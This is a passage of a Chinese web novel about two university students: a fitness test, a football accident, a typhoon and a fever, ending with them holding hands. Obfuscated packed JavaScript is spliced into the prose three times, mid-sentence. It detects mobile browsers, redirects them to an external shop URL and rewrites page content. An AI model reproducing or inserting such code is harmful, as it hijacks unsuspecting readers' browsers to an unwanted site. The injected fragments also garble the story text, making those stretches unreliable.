手臂落下,身边的人先卢郁雪一步跑了出去。她后听到掐表的声音,滴,很遥远的一声。 真想死,为什么每年都要体侧。 该死的学校,该死的操场,该死的腿,卢郁雪骂了个遍才刚刚从弯道拐到直道,负责人站在跑道上捏着表替她们计时。 才第一圈,居然才第一圈。卢郁雪大喘着气,步子也迈不动,经过起点的时候,负责人说了一句:“一分四十五,保持住啊。第二圈一般要两分钟,千万别走。” 千万,别走。 卢郁雪现在恨不得滚过去,累,真累,她的腿绷得很紧抬不起来也迈不动,全靠那点毅力看清路。 周围的一切倒退地好慢,她明明已经跑了很久,怎么还是这棵树。 跑道旁嬉笑打闹的一切都像是套上慢动作的镜头,还屏蔽了声音,卢郁雪像是离开了地球,以高级文明的姿态观察地球。 不,她还活着,她还是能感觉到自己很累。 “滴。” 在她快要接近起点时,女生掐下了秒表。 “四分一十二。” 卢郁雪像个没有脑子的丧尸听到掐表直接一倒坐在草地上。 面红耳赤,喉咙干涩。 她要咳血了。 卢郁雪咳咳半天,什么也没有。 见她们太累,还是女生挨个问她们叫什么学号多少登记成绩。 “测完你们可以走,也可以去测体前屈和立定跳远,不过下节课也一样测。那你们先休息会儿,我去那边跑道找老师。” 卢郁雪大口喘着气比了个OK,目送负责人去到看台最边角的跑道,挤入围了一圈又一圈的人群里。 太极这门课还是卢郁雪拜托了好多其他学校的同学,从八点就开始崩了的教务系统硬生生蹲了两个多小时才挤进去抢到名额。 她和班内其他女生不熟,最多也就是打个照面,体育课别人也都有自己的搭子,卢郁雪上到现在都是一个人独来独往。 她想躺在地上,但这个草坪整天都有人在上面踢足球,心里还是有些膈应。而且又不是高中校服,想怎么造就怎么造,脏了的话去洗衣房还得排队呢。 卢郁雪挣扎半天,只是将盘着的左右腿换了个上下。 吵闹,实在吵闹。 卢郁雪看一眼时间才十点半,她想回去吃饭,手一撑地,发现使不上力气。 再歇会儿吧。 看台和操场通道处的自动售货机排了长长一溜,高低不一。 透明的盖子被掀开又合上,骨碌地滚下几瓶易拉罐,铁质拉环只开一个缝隙,就滋的一声往外涌出不少气体。 操场上各种声音杂乱,唯独开易拉罐的声音偏离于杂乱的声线之外。 不行,她得买瓶水喝喝。 一直侧对着她的人群中挤出一个男生,身材高挑又长手长脚的,隔着两个人就扯到了栏杆上的外套,斜搭在肩头转过身环顾四周。 原本他们的视线不会交汇,一个站着一个坐着,但偏偏卢郁雪旁边跑完八百的女生起身走了。 周见春的视线也顺着看向草坪上的卢郁雪。她像是在盘算什么,脸上浮现不自然的笑。 卢郁雪脸上的笑意越来越明显,等周见春站定在她面前才昂着头说:“拉我一把。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162568|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他不理又晃了两下手,周见春才将胳膊伸出来给她搭上。 已经入秋,但周见春穿的和国庆之前没什么区别,多了个袖子而已,还是很薄。 男生的力气果然大,卢郁雪只是搭上去就被轻松带起,像是恰好乘风的风筝。 人有点晕,脚底发软,腿好像死了。 周见春来的时候手里捏着一瓶水,看样子,已经喝过了。 “你能去售货机帮我买瓶水吗?我有点累。” 自动售货机排队的人只增不减,周见春蹙着眉问她:“你刚跑完八百?” “昂。”她乖巧地点点头,这不明显吗,她人都快死了。 “等我一会儿。” 他将肩头的外套扯下来递到卢郁雪手中。宽大的外套遮住她的视线,骤起的风惊得她眼皮轻颤了一下。 等就等吧,卢郁雪轻轻理好外套搭在自己胳膊上。她渡着步子等他,可周见春却径直从售货机略过拐到一侧的器材室里。 她不解地张望着,想给周见春发消息却摸到他的手机在外套里,略有重量地向下坠。 通道不窄,但总是阴风,无论什么季节吹来都像是没有温度。 周见春一手捧着纸杯,另一只手微微弯曲挡住侧面出来的风。 混乱又吵闹的通道里,他走得小心又缓慢。 “试试,应该不烫。” 卢郁雪接过抿了一口,比温还要热一点,刚跑过步喉咙干涩,现在喝正好抚平想咳嗽的劲。 “你从哪接的水?” “器材室有饮水机,我看有一次性杯子就接了。” “哦~。” 大学不比高中,去老师的办公室接水要趁没人时候,但卢郁雪上了一年多,也不知道器材室有饮水机。 上次见到去器材室,好像还是去年测肺活量。 “你,不上课吗?” “体测呢,测完就可以走了。” 周见春转身指向看台下面围了一圈又一圈人的沙坑,还在测立定跳远。 她低头抿着水不知道说什么,想到他外套还在自己手中,一口闷了水腾出手来:“你衣服。” “谢谢。” 卢郁雪还是第一次这样近距离看男生穿衣服,虽然里面也有,但总感觉怪怪的,她错开视线才发觉自己站的位置不太好。 靠近足球网,又是上课的时候。如果运气不好,很可能被爆头。 她正想说换个地方,周见春的身后就飞来一个足球。速度很快,她压着周见春的肩头往一侧推,可男生纹丝不动,只是茫然地看着她。 “哎,不是,后面。” “砰。” 很大一声闷响。 球砸在周见春的背后,他人往前一倾,差点跌到卢郁雪怀中。 “你没事吧。” 男生摇摇头,却没能直起身子,碎发遮住眉眼,卢郁雪看不清他的神色。 周见春一声不吭,只是弯着腰,像是在缓慢接受这突如其来的冲击。卢郁雪想绕到他背后帮他看看,球的主人这才姗姗来迟。 “对不起对不起,你没事吧。”球的主人偏头去看周见春的脸色,慌里慌张地开口。 “能没事嘛,赔钱!” 卢郁雪见周见春一言不发,充当了他的代言人,义正言辞地说道。 “但我还在上课没法带他去校医那。”球的主人挠挠头,看向卢郁雪,“麻烦你带他去吧,把支付记录发我就行。” 这倒也是,不能耽误人家上课。卢郁雪点点头表示同意。 “那,那我加你一个微信?”球的主人看一眼周见春,又瞥了旁边的女生,小心翼翼地问。 卢郁雪的手机还在外套里,她从周见春身边过去,从足球网上拿下自己的外套掏出手机要点开二维码,一双手隔在他们面前。 “扫我的吧。” 周见春像是早就准备好一样,黑白分明中间还夹个头像的二维码直直地阻在她和男生中间。 29. 医务室 卢郁雪和球的主人对视一眼,得到默许后男生将方框对准周见春的二维码发了个验证消息过去。 “也行,太抱歉了哥们,实在不好意思。”男生收回手机鞠了个躬,抱着球急急地往弯道跑。 卢郁雪从背影看过去,弯道还有一个男生也在往这边张望,应该是两人对练。 “嘶。”微弱又短促的气流声像是看不见的丝线,将卢郁雪的注意力拽回周见春身上。 “你还好吧,有没有觉得头晕恶心,不会有脑震荡吧。” 她扶着周见春,抬手帮他掸了后背,衣服上有圈浅浅的印子,带着尘土,落在风中细得像阵烟。 “我刚刚推你你怎么傻站着不动,差点把你砸晕了。” 他转头看向卢郁雪,眼眸乌黑薄唇轻启,语调平和但掺了一声叹息:“我以为,你要和我说话。” “拉倒吧,我什么时候和你说话还按你肩膀。” “刚刚。” “……”卢郁雪无语凝噎,换了个话题“去医务室吧,我陪你去。” 周见春随着她的动作转了个身,人垂着头,走路也很慢。他的胳膊肘搭在卢郁雪掌心,外套很薄,还有些硌人。 操场上的人太多,卢郁雪担心再撞到人,扶着周见春从看台通道穿过去。 他的个子高,即便没有直起身子也能遮住不少风。但拐到体育馆侧门的小路,变分不清风的来向,四面八方地扑面而来。 几股不同来向的风相冲,她别在耳后的碎发到了嘴边,贴着脸颊,还有些痒。 卢郁雪晃晃头,想让风吹走这根头发,托着周见春胳膊的手刚想移开,就觉得掌心的重量突然清空。 男生抬起的手臂环住卢郁雪,周遭的风像是停滞,好闻的洗衣液气息氤氲在空气中。他的手指瘦削,即将贴近卢郁雪脸颊的时候却顿住。 “头发。” “哦哦。”卢郁雪抬手勾起头发别到耳后还不忘吐槽一句:“风有点大。” “嗯,确实。”他配合卢郁雪的语气认真点头。 他的外套还没有拉上,风一吹就猎猎作响,卢郁雪想起正事,“不是,你怎么样,要去医院看吗?” “还好,就刚刚那一下有点疼。” “那还是去医务室吧,挂号就一块钱,真有事明天还能请假。”卢郁雪郑重地点头。 江林大学的医务室在后勤楼的二楼,不知道是不是因为在图书馆和湖的对面拍照出片,建得很花里胡哨。 卢郁雪第一次来的时候从旋转楼梯上去不知怎么到了大学生事务中心,长长的连廊绕着商铺一圈,直接通到商学院宿舍和三食堂楼下。 医务室的门关着,挂着牌匾写着开放时间,十二点下班,早着呢。 卢郁雪敲了几下门得到一声进。 屋内很空,有两张桌子,但平时只有一位医生。红木椅子后挂着水蓝色的帘子,拉开了一半,松松散散地褶皱里隐约可见一个洗手池和床铺。 医生不过三十岁出头,打量一番两个人问:“谁挂的号?” “他。” 医务室的装修很单调,铁皮柜子红木桌椅还有反光的白瓷砖,说出来的话都板板正正得像是答辩。 “哪不舒服?” “在操场被球砸了。” 似乎太言简意赅了,卢郁雪站在桌旁又补充了几句。 医生上手查了一圈,坐回黑色皮质的红木椅上,将收纳架上抽出一沓册子推到周见春面前。 “没什么事,实在不放心我给你开个转诊单去附属医院再看看,填一下姓名专业和联系方式。” “好。” 周见春拾笔按照格式一一填好,卢郁雪垫着脚能瞥见一点比划,看着好像比高中要更随意。 她见过周见春的字。十九中有个传统,每次考试单科第一的答题卡会在各个班级传阅,他的物理好,所以见过很多次。 说来,自己还不知道他手机号。 周见春签好递给医生看过,她又追问道:“需不需要给你开个假条?” “不用了,谢谢。” 他客气地回绝,卢郁雪站在旁边很是心痛,那可是假条,说不要就不要,她刚跑完八百有点虚,能给她也开一张吗? 等他带上医务室的门,身旁的卢郁雪却没有扶他的意思转身往楼梯口走。 “你怎么不扶我了?” “你不是能走吗?医生都说了你没事。而且你那么重,我扶着你也挺累的。”她抿着嘴眨巴眨巴眼睛,像是一不小心说了实话。 长长的走廊没有一点遮挡,风斜吹进来,有冰冰凉凉的东西落在她手背,触感太过短暂,还来不及分辨是不是雨滴。 周见春额前的碎发也被吹起,露出饱满的额头,就是风向比较复杂,他竖起的头发像天线宝宝。 她似乎还在憋笑,周见春神色寂落,声音也低下去,“卢郁雪,你能不能关心我一点。” “我关心你啊,我不是带你来医务室了。你饿不饿,吃饭去?” 她恭敬地伸出手做了一个请的姿势,周见春从她身边走过,轻轻拍了她的掌心下。风被尽数压下,发出沉闷一声。 “饿了。” 他插着兜下到平台,见卢郁雪还愣在原地,扬起下巴问她:“你不饿?” “饿死了。” 她欢快地下楼到了周见春身边,却不急着下楼,低着头在自己口袋里摸来摸去。 轻薄的纸张根本撑不起面前的风,连贯的字迹从中间折下去。 周见春换着角度上下打量,“什么呀?” “二食堂新开的馄饨窗口,三元无门槛优惠券,本来打算和叶敏一起吃的,便宜你了。” 她又抖了两下纸张,周见春笑着接过止住优惠券掀起那阵小而急的风。 还没到下课时间,路上没有多少人。灰色的砖块上满是不均匀的雨滴,色彩鲜明透亮,不消一会儿就能覆满砖块。 “下雨了。” 她看了眼雨势,略有歉意地开口:“明天我请你吃饭吧,现在去食堂吃,我怕吃完雨会下大。” 接连不断的雨砸在楼梯口旁边的芭蕉叶上,水珠滚出一道道水痕。卢郁雪麻利地给自己带上帽子,等着周见春的回答。 “好,那明天见。” “明天见。”她笑着答。 从医务室往随园梅园是不同的方向,卢郁雪闷头冲进了雾蒙蒙的天色里。 风从哪个方向来卢郁雪不知道,因为脸上全是雨。从食堂打包出来时,已是淅淅沥沥的小雨,她顶着帽子也能感觉到雨坠落的频率在变快。 阴天的云灰白,本就容易模糊天地的边界,现在更像是混成一体。水汽弥漫,如烟似雾。 阳台的衣服还没有收,卢郁雪收完衣服又吹了头发,刚想给叶敏发消息问她要不要自己送伞,门锁就传来拧动的声音。 浅色的牛仔裤垂在鞋面,沾了些许雨滴,但再往上看,头发外套都是干的。 卢郁雪身子后仰看向阳台,雨接连不断地落下,连成一条线。香樟树叶已经洗得发亮,在阴郁的天色里浓郁得不真实。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182918|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的时候,没下雨吗?” “正好赶上校车又蹭了同一栋楼女生的伞,你不会淋雨跑回来的吧?” “……” 卢郁雪是吹了头发,但她的外套还挂在衣柜前,沾了雨,潮潮的。 “怎么我回来时候校车不开?” “没赶上趟呗,人有时候得认命。”叶敏笑着打趣她。 不过怎么回来不重要,下午还有课要上。她们俩,都得淋雨。 雨比想象中要大,风也格外强劲。卢郁雪撑着伞去教学楼上课,风吹得伞面只有骨架巍然不动,像塑料袋一样棱棱鼓起又瘪下去。 伞面上的水珠还有不知哪里来的雨全部甩在卢郁雪脸上,这伞打了等于白打。 教学楼还没来得及铺地毯,瓷砖像是渡上一层反光膜,反射着天花板的白炽灯。 卢郁雪看不清哪里有水哪里没水,反正踩上去都是吱吱嘎嘎的。 阶梯教室里人很多,衣服又是潮的,又热又闷,难受得卢郁雪恨不得全脱了。 “有纸吗?” 书包已经被雨淋透,卢郁雪下意识去摸自己的钥匙扣,摸了一圈没摸到,她低头去看。 空空如也。 钥匙扣和拉链之间闪了一个缝,只剩个环了,她的毛绒玩偶没了。 也怪她忘了摘下去,下雨淋了也不好看。 “我头发都湿了。” “别提了,我鞋子好像进水了。”卢郁雪曲腿晃了两下,确实都是水。 “讨厌的下雨天。” “讨厌的星期四。” 两人一起发出慨叹。 四点钟下课,卢郁雪觉得有点不对劲,这风大得惊人啊。无数雨滴向自己身后飞去,她怎么打伞也遮不住四面八方来的风雨。 在各种鬼哭狼嚎里,卢郁雪顶着几乎全湿的衣服进到宿舍楼。 宿舍走道放满了伞,沿着伞面下滑的水落在地面凝成饱满的水滴,剔透地倒映着走廊的人来人往。 “点个外卖点个外卖。” “点吧点吧,你湿衣服脱下来我拿去楼下烘干机一起烘了。” “好。” 卢郁雪正在小程序点单,上方弹出一条横幅,她误触点进去跳转到了宿舍群。 【接气象局通知,今晚台风天气,无特殊情况不要外出,谨防高空坠物,关好门窗,所有衣物收进宿舍。】 又是台风。 她点开天气,果然是黄色台风预警。 还记得上一个台风天,正好是周末。实验楼门口的垃圾桶吹到了大马路上,香樟树还断了几根枝干。 她运气好,分在台风过境之后去考计算机,叶敏比她早一天考,风大得走不动路。 也恰好是那天,她遇到了周见春。 本以为不会再见的人。 窗外雨声潇潇,卢郁雪拉上阳台窗帘往浴室走。开关拨到最热,卢郁雪拢了拢头发往花洒下走。 伸出去的手等了两分钟,不大的洗澡间依然没有升腾起任何雾气,掌心的水冷得和台风天一样。 宿舍门被推开,冷风直直灌入,从门缝底下钻进洗澡间,卢郁雪不由得打了一个寒颤。 “不是,你洗澡啦,刚刚阿姨说今天检修水管,整个随园供不上热水。” “啊——。”卢郁雪拖长了尾音哀嚎。 叶敏关上门想了个折中的办法,“你别洗头,我去给你打壶水将就一下。” “可是我明天说和周见春吃饭来着。” “你跟他吃什么饭,带个帽子就行,他不配。” 30. 牵手 门再次打开,风灌入室内,卢郁雪关了花洒,听见瓶瓶罐罐咣当的声响。 洗漱过后卢郁雪拿起手机才看到群里迟来的消息,【@全体成员水管检修,今日随园无法供应热水,可就近前往杏园洗澡】 杏园独卫不独浴,可这也不就近,少说也得几百米。这个天气,还没出随园身上估计就湿透了。 【阿姨,什么时候能修好啊,明天台风师傅能来吗】 【阿姨,想洗澡[哭]】 【阿姨,外面刮台风呢[囧]】 阳台的帘子是学校统一安的,并不完全遮光,但到了晚上,还真是遮得严严实实。 卢郁雪起身撩开一点,外面树吹得七倒八歪,不知谁的电动车没有上锁,规律地响着警报声。 有点冷,她披了件外套开始写结课论文。这周过去就是第十周,正是期中,她有好多小论文要写。 “阿嚏。”卢郁雪抽了张纸擦鼻子,嘴里嘀咕着也不知道谁说她坏话。 手机震动连着桌面,卢郁雪的手从鼠标移到了桌角。 【明天台风,吃饭再约吧,注意安全】 【好,但我明天有课,安全不了】 校园墙已经发了不少祈求停课的帖子,更好笑的是,江林市中小学停课了,但是江林大学不停。 【尽量别打伞,穿雨衣好一点】 很诚恳的建议,毕竟课是要上的,总不能建议她翘课吧。 【领导不做人啊】 她在聊天框删删减减,但吐槽也没什么用,不下通知就得上课。 【我写作业了,回聊吧】 刚熄灭手机屏幕放到桌角准备继续写结课论文,宿舍突然发出一声嚎叫,吓得卢郁雪以为怎么了。 “哎,哎,你俩刷到没,隔壁农大和师大明天停课。” “嗯?” “嗯?” 叶敏和卢郁雪同时转身看向沈嘉慧。 “凭什么?” 异口同声的音量一时压过门缝透进来的风声,沈嘉慧无奈扶额,“可能,人家领导比我们更有人文关怀。” 这倒是实话,三人齐声叹气。 沈嘉慧的手机又弹出消息,她点进去看完挑眉问她们俩:“你俩明天想不想上课?” “当然不想啊,谁台风天去上课。” 卢郁雪双臂沿着椅背下垂,下巴垫在椅子上,说话都有气无力的。 “恭喜你,得偿所愿。”她伸出拇指在空中轻点两下。 “真的假的。”卢郁雪眼眸中瞬间有了光亮,连叶敏都被吸引过来。 “嗯,习概老师刚刚给我发消息,他从外地开研讨会准备回来,但因为台风天气航班取消了,只能上网课。” 两人还眨巴着眼睛不可置信的模样,下一秒手机就收到了班级群的消息。 【学委沈嘉慧:明天习概改为网课,同宿舍相互提醒及时登入腾讯会议】 这是有辅导员的群,下面没有跟回复,但在没有辅导员的群里,已经撒了不知道多少花。 “太棒了,结课作业我先不写了,明天再说吧。”卢郁雪打了个哈欠爬到床上。 她们是四人寝,但分来的时候就只有三个人。大一两次转专业之后重新整合宿舍,辅导员想安个人进来被她们一致拒绝。 到现在也没什么不好的,地方大能放东西,最多就是A电费比六人寝贵一点。 进入十月份之后宿舍就没开过几次空调,现在还没到换厚被子的时候,卢郁雪却觉得越睡越冷。 被子边边都掖在身下,只露出一个头在外面,人蜷缩着,还是觉得冷。 她不知道自己有没有睡着,好像能听见外面的风声但人又在做梦。虚虚实实,远近交错,分不清现实还是梦境。 床帘撩开一角,沈嘉慧的台灯晃入她的眼中,卢郁雪勉强睁开一条缝看清床边的人是叶敏。 “卢郁雪,卢郁雪,醒醒,九点五十了,起来上课了。” “啊,我定闹钟了,怎么没响。” 她挣扎着坐起,宿舍没有开顶灯,只亮着两盏台灯,昏暗又刺眼的。 叶敏见她起来就去洗手台洗漱,沈嘉慧正对着镜子护肤。 “怎么感觉那么冷。” 掀起被子身上的热意全无,温度骤然降了下去。柔软的睡衣都像是被风干一样,顿时硬挺起来。 “台风天,降温也很正常。”不知谁接了一句,卢郁雪点点头表示认同。 她扶着梯子下去洗漱,人总感觉晕晕的,像是没睡醒。 都在宿舍上课了,她也不撑着在下面上课了,直接抱着平板上到床上。 听了一会儿还没有点名的迹象,卢郁雪还是很困,从栏杆那探个头出来。 “如果点名叫我。” “应该不点,放心吧,我给你答到。” 卢郁雪比了个OK的手势,虽然她们俩都看不见。 昏昏沉沉睡到中午,卢郁雪又被叶敏叫醒。 “你要不要一起点个外卖,省配送费。” 她想应下,可思维却像是中途断开的电路,连不上她想说的话。 学校加固了栏杆高度,叶敏的手没法碰到卢郁雪的额头,她叫了沈嘉慧过来,两人垫着脚去试卢郁雪的额头。 “确实发烧了,但我没有药,你有吗?” “有有有。” 叶敏从书架上扒拉出一盒药,沈嘉慧接了杯水一起递到卢郁雪手中。 “别睡别睡,坐起来,先吃药。” 白色药片不大,不知是不是因为躺着,总觉得嘴里一股苦涩的味道。 周五下午没课又是周末,卢郁雪半睡半醒地到了第二天。 台风来得快也去得快,阳台的帘子离地面还有一点距离,灿烂的日光从下面缝隙透过来折射在地板上。 卢郁雪银色涂层的床帘上也是一团刺眼的光。 伴随着光到来的还有聒噪的话筒声,明明很遥远,却清晰地能听见每个字样。 台风过境的第二天,风和日丽。卢郁雪打开阳台的门,都怀疑自己是不是在做梦。 只是一夜之间,完全两个世界。 “我宣布,江林大学第六十届运动会,正式开幕!” 国庆期间班级群有发运动员报名表,但每天这样@全体成员的消息太多,她无暇关注也不知道会是今天开运动会。 话筒不知递到了哪里,刺啦刺啦的风声里掺了一点礼炮的声音。可惜随园的视角不好,看不见操场。 记得去年有彩色烟花,应该很好看吧。 她踩着轻盈的步子转身打开屋内的灯,桌面还放了一版退烧药,显眼得让人不可忽视。 睡了一天,她都没有看手机。 两人都给她发了消息,叶敏去运动会当志愿者,沈嘉慧和隔壁宿舍好朋友出去玩。 大家似乎都有事情可做,卢郁雪洗漱一番觉得自己也得干点事情。 这么好的天气,不晒被子可惜了。 运动会不强制去,卢郁雪也不知道二楼晒被子的人多不多。 狭长的走道尽头是天台,玻璃门完全敞开,姜黄色的光在卢郁雪的脚下铺成河,像有无数的光点在跃动,缓慢地流动着。 花花绿绿的被子和毛绒玩偶摆满天台,她弯着腰在其间穿梭找到一个靠近栏杆的角落。 下个星期就该立冬了,再好的阳光也是带着冷意。天空高远,光与暗泾渭分明。 她站在光中铺好被子又夹上夹子。 二楼不算高,能看到随园前面那条路。来往的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209286|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不多,但都洋溢着笑脸,小小一个,又蹦又跳的,像卢郁雪小时候看的动画片里面的人物。 这是一个绝无仅有的大晴天,卢郁雪抬手遮住太阳,阴影覆盖上半张脸,眯起的眼睛这才勉强睁开。 楼下共享单车摆得很齐,连绵的青翠里走来一个男生。他好像提着什么东西,却总是在头尾两辆车十来米的距离里打转。 踌躇又徘徊。 太阳高悬于头顶,他脚下有一个短小的黑影。特定角度下的铁栏杆折射出七彩的光,晃了卢郁雪的眼。 她往天台的栏杆处走想看清那人的模样,背对她的男生像是下定决定放弃,转身的瞬间,影子也跟着挪动。 她叫出了对方的名字。 “周见春,你来找我的吗?” 今日风轻柔,没有把她的话吹散,可落在周见春耳边依旧分不出来向。 他茫然地环顾一圈,最后才抬头看向高处。 卢郁雪扒着栏杆,上半个身子都倾出去,用力且大幅度地挥着手。 他似乎想喊话,但卢郁雪看他举起手机晃了晃。 “你等一下,我没带手机。” 不知道这个点还有没有人在睡觉,但卢郁雪可不想被挂校园墙。她确定周见春听见后跑回自己宿舍。 怎么办,她想起昨天自己睡了一天,根本没洗头。 带个帽子吧,带帽子应该看不出来。 随园这片生态好,不光流浪猫爱来,草坪前的麻雀也不少。刚下台阶,树上的麻雀不知被谁惊起,扑棱扑棱地飞到了对面的宿舍楼天台上。 “你找我呀?”她已经吃了退烧药,但喉咙还是不太好受,干涩的。 “我昨天给你发消息都没回,问了叶敏才知道你发烧。你现在好点了吗?我买了一点药还有梨子,不过梨子你过几天再吃,有点冷。” 他扒拉着袋子里的东西一一给卢郁雪介绍,空气中只有袋子哗啦啦的声响。 周见春说完要把袋子递给卢郁雪,却见她眉眼弯弯,略有挑逗地开口:“你这么在意我啊?” 上一次听到这句话,是在迎新晚会送她回家,那时他不敢表露心迹,打着马虎糊弄过去。 但现在,他极其认真且清晰地回道:“是,我很在意。” 日光落在他的肩头,也落在漆黑的眼眸中。卢郁雪笑收了回去,她觉得自己玩笑开得不好。 “我没有生气,我只是想你照顾好自己。”察觉到她的情绪变化,周见春很快解释道。 “我知道,我不是故意不回你消息的,我微信加了不少外卖群,每天都@全体成员,所以你消息被压下去了。”她双手背在身后,撇着嘴说道。 周见春轻笑一声问她:“你吃饭了吗?我请你吃饭。” “好,那你等我一下,我把东西放在一楼的茶几上。” 还没有到冬天,但卢郁雪已经带上了贝雷帽。白色细绒的帽檐下是对称的辫子,周见春分不清女生编发的区别,但和高中运动会卢郁雪扎得有些相似。 她刚烧退,却很有活力,像春日里的蝴蝶,身上盈满阳光和风飞扑到了周见春身边,一把环住了他的胳膊。 “你微信是不是没把我置顶?” 突然的质疑让卢郁雪来不及想借口,她傻笑着说:“好像是,我现在就置顶。” 环着胳膊的手下滑,卢郁雪想去摸自己手机,却意外碰到周见春的手腕,凸起的血管温热软弹。 她的心中一惊,往后抽离的手却被攥住。 周见春握住她的手腕,缓慢地挤入她的指缝。指腹相磨,酥酥麻麻的触感袭遍全身,她的心跳乱了节奏。 “你,你占我便宜。” “嗯。”他的尾调上扬,略有得意,眼中笑意不减,“那你占回来。”